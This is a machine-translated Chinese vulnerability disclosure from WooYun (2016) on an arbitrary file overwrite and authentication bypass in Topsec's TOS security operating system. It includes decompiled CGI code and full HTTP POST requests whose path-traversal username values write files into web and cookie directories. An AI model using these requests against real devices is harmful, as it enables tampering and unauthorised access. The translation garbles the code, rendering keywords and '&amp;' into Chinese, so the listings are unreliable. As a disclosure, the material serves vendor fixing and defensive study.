漏洞标题 天融信TOS安全操作系统任意文件写入覆盖影响众多系列产品 相关厂商 天融信 漏洞作者 Ano_Tom 提交时间 2016-03-16 09:22 公开时间 2016-06-14 14:00 …
漏洞标题
天荣信TOS安全操作系统任意文件写覆盖影响众多系列产品
相关制造商
天融信
漏洞作者
Ano_Tom
提交时间
2016-03-16 09: 22
公共时间
2016-06-14 14: 00
漏洞类型
设计不当
危险等级
在
自我评估等级
10
漏洞状态
制造商已确认
标签标签
硬件安全,设计缺陷/边界旁路
漏洞详细信息
maincgi主文件具有类似注册的功能,它是认证权限之前的功能块loginRegister。
if(cgiFormCheckboxSingle((int)'loginSubmitIpt'))
{
if(cgiFormCheckboxSingle((int)'loginRegister'))
{
如果(!strcmp(& s1,'VerifyCode'))
{
sub_805957A();
}
让我们来看看如果它是loginRegister会发生什么:
LOBYTE(s)=0;
Memset((char *)& s + 1,0,0x3FFu);
cgiFormStringNoNewlines('user_name_tex',& src,32); //将参数username移除到src中
cgiFormStringNoNewlines('user_pass_pas',& v110,128); //删除参数密码
V92=sub_8053FCE(& src); //检查/www/user中是否存在用户名,没有返回0
如果(v92==1)
{
V93=(char *)*(& off_8253FA0 + lang_index);
}
否则如果(v92==2)
{
V93=(char *)*(& off_8253FB0 + lang_index);
}
其他
{
s=2004317999; //由以下v97v98组成,形成字符串'/www/user /'
V97=1702065455;
V98=12146;
V99=0;
Strcat((char *)& s,& src); //用字符串s拼接用户名
V94=fopen((const char *)& s,'w +');可以看出,如果它不存在,它将直接fopen,它将是w +
如果(v94)
{
Fprintf(v94,'username=%s \ npassword=%s \ n',& src,& v110); //这是写的内容
FCLOSE(V94);
V93=off_8253FA8 [lang_index];
}
其他
{
V93=off_8253FB8 [lang_index];
}
}
initHttpHeader();
放( '<脚本>');
Printf('alert(\'%s \');',v93);
放( 'self.close();');
放( '< /脚本>');
结果=0;
如您所见,如果用户名不存在,它将转到fopen('/www/user/username',w +)并写入内容。 w +是一种读写模式,可以创建不存在的文件,也可以清除现有文件进行覆盖。写入的内容不是完全可控的,但覆盖普通文件非常严重,几乎与任何文件删除相同。
我们来看一下权限验证的过程:
如果(ptr& * *(_ BYTE *)ptr)//这里和下面省略的地方是确定文件是否存在,可以存在绕过
{
...
...
如果(!strcmp(& s1,'Head'))
{
initHttpHeader();
sub_8054F70();
}
否则if(!strcmp(& s1,'Bottom'))
{
initHttpHeader();
sub_8054E16();
}
否则if(!strcmp(& s1,'Quit'))
{
V28=webui_logout(v4,g_vsid);
Destroy_cookie_file(安培; unk_8226B20);
如果(!v28)
sub_8054D50();
}
其他
{
V24=webui_login(& v16,& dest,& v4,g_vsid);这里要获取会话内容以进行验证
....
}
可以看出,在判断会话是否存在于要认证的内容时,仍然可以在未经授权的情况下访问多个功能。例如,destroy_cookie_file()函数,如果你看一下发送的tos的漏洞,就可以知道它是命令执行。那么此漏洞是否可以绕过先前漏洞的修复程序?
漏洞证明:
在最后的命令执行漏洞中,已经证明影响的数量和设备的数量达到数万个,并且影响是企业,学校,政府和私人家庭无法承受的昂贵。设备。
这是一个漏洞的例子:
使用zoomeye搜索其中一个关键字topsec的第一个设备

1:文件写(由于同样的原因,它不会被证明,它会造成损害):
首先我们写一个文件
POST /cgi/maincgi.cgi?Url=Index HTTP/1.1
主机: **。**。**。**: 8080
用户代理: Mozilla/5.0(Windows NT 6.3; rv: 39.0)Gecko/20100101 Firefox/39.0
接受: text/html,application/xhtml + xml,application/xml; q=0.9,*/*; q=0.8
Accept-Language: zh-CN,zh; q=0.8,en-US; q=0.5,en; Q=0.3
Accept-Encoding: gzip,deflate
Referer:https://**。**。**。**: 8080 /
Cookie: topsecsvportallogodir=default; topsecsvuilanguage=中国; login_err_num=0; topsecsvportalstyle=STYLE1; topsecsvportalname=默认值; cgid进行=eyfjuRy + e0gpWmv5nq0d9A==;附加码=l4SXkMKmfkuo0g2Ryew6dg===
连接:保持活动状态
内容类型: application/x-www-form-urlencoded
内容长度: 95
User_name_tex=./htdocs中/站点/图像/wooyun&安培; user_pass_pas=here_can_write_128_bytes&安培;登录登录注册=
面试结果如下:

并非所有tos系统都是默认的root权限,但普通权限也可以允许此漏洞覆盖配置文件,Web文件等,从而导致设备缺陷。
2:部分权限绕过:
直接访问时

然后我们在cookie目录中写一个文件
POST /cgi/maincgi.cgi?Url=Index HTTP/1.1
主机: **。**。**。**: 8080
用户代理: Mozilla/5.0(Windows NT 6.3; rv: 39.0)Gecko/20100101 Firefox/39.0
接受: text/html,application/xhtml + xml,application/xml; q=0.9,*/*; q=0.8
Accept-Language: zh-CN,zh; q=0.8,en-US; q=0.5,en; Q=0.3
Accept-Encoding: gzip,deflate
Referer:https://**。**。**。**: 8080 /
Cookie: topsecsvportallogodir=default; topsecsvuilanguage=中国; login_err_num=0; topsecsvportalstyle=STYLE1; topsecsvportalname=默认值; cgid进行=eyfjuRy + e0gpWmv5nq0d9A==;附加码=l4SXkMKmfkuo0g2Ryew6dg===
连接:保持活动状态
内容类型: application/x-www-form-urlencoded
内容长度: 84
User_name_tex=. /饼干/wooyun&安培; user_pass_pas=here_can_write_128_bytes&安培;登录登录注册=
然后我们将再次访问:

如您所见,权限验证已通过。我不知道上一个命令执行修复程序是否仅判断会话文件是否存在。否则,可以绕过这个。
修理计划:
最简单的方法是过滤所有输入并过滤掉目录跳转的字符。
版权声明:请注明出处Ano_Tom @乌云